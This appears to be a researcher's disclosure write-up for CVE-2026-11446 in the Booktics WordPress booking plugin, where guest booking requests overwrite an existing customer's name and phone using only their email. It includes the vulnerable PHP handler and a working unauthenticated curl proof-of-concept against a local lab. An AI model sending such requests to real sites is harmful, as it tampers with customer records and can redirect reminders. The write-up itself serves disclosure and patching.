disclosure WordPress

Overwriting Booktics Customer Details Without Logging In

CVE-2026-11446: a public booking request could overwrite an existing Booktics customer's contact details using only their email address.

Paper appointment calendar beside a customer card with its contact label being replaced.

I found a missing authorisation bug in Booktics, a WordPress plugin for booking appointments. Making a booking could overwrite someone else's stored name and phone number. The only information needed to select their customer record was an email address.

This became CVE-2026-11446, rated Medium with a CVSS score of 5.3. I tested it against version 1.0.18 in a local WordPress lab.

The Vulnerability

Booktics lets visitors book appointments without creating an account. Its public booking endpoint is:

POST /wp-json/booktics/v1/orders

The permission callback allows those guest requests:

public function create_order_permission( $request ) {
    return true;
}

The handler then takes the customer object from the request and looks for an existing customer with the same email address. If it finds one, it updates that record with the name and phone number supplied in the new booking.

There was no check that the caller owned the email address or had permission to change that customer's details.

What I Found

The relevant code was in core/order/controllers/order-controller.php. The order handler calls find_or_create_customer(), which passes the supplied customer details into find_and_update_guest():

private function find_and_update_guest( $db, $customer, $wp_user_id = null ) {
    $guest = ( new Guest_Model( $db ) )->find(
        array( 'email' => $customer['email'] )
    );

    if ( $guest ) {
        ( new Guest_Model( $db ) )->update(
            $guest->id, array(
                'name'       => $customer['name'] ?? '',
                'phone'      => $customer['phone'] ?? '',
                'wp_user_id' => $wp_user_id,
            )
        );
    }

    return $guest;
}

The request controls the email used for the lookup and the contact details written back to the database. Finding a matching record was enough to authorise the update.

It also updates wp_user_id with the value passed down by the order handler.

Proof of Concept

I tested this in a local WordPress installation with a service, team member and customer already set up. I then made a booking using the customer's email address and different contact details.

Before:
email                name        phone
victim@example.com   Jane Smith  0770090000

I sent the following request without logging in:

curl -i 'http://localhost:8080/wp-json/booktics/v1/orders' \
  -H 'Content-Type: application/json' \
  --data '{
    "customer": {
      "email": "victim@example.com",
      "name": "ATTACKER OVERWRITE",
      "phone": "0000000000"
    },
    "items": [{
      "date": "2026-06-01",
      "start_time": "10:00",
      "end_time": "11:00",
      "team_member_id": 1,
      "service_id": 1
    }]
  }'

The endpoint returned 201 Created. Checking the existing customer row afterwards showed the overwrite:

After:
email                name                phone
victim@example.com   ATTACKER OVERWRITE  0000000000

No login, cookie, nonce or authorisation header was supplied. There was no email challenge. The existing customer's email stayed the same, but their contact details had changed.

Impact

Anyone who knew an existing customer's email could replace their stored name and phone number by submitting a booking. No existing account was required.

Any reminder or integration reading that customer record would pick up the replacement details. That could affect reminder emails, SMS, calendar invites or a CRM sync. For SMS reminders, it could mean using a different phone number.

Fix

Wordfence lists versions up to and including 1.0.23 as affected, with 1.0.24 as the patched release for this CVE. My original reproduction was against 1.0.18.

In the currently available 1.0.24 source, the update is guarded by an ownership check:

if ( $guest && $this->caller_owns_customer_email( $guest, $customer['email'] ) )

That helper allows an administrator or team member, or a logged-in user whose account is linked to the customer or has the matching email address. A logged-out caller fails the check.

Disclosure

  • 17 April 2026: I reproduced the issue locally on Booktics 1.0.18.
  • 10 September 2026: My finding was published as CVE-2026-11446.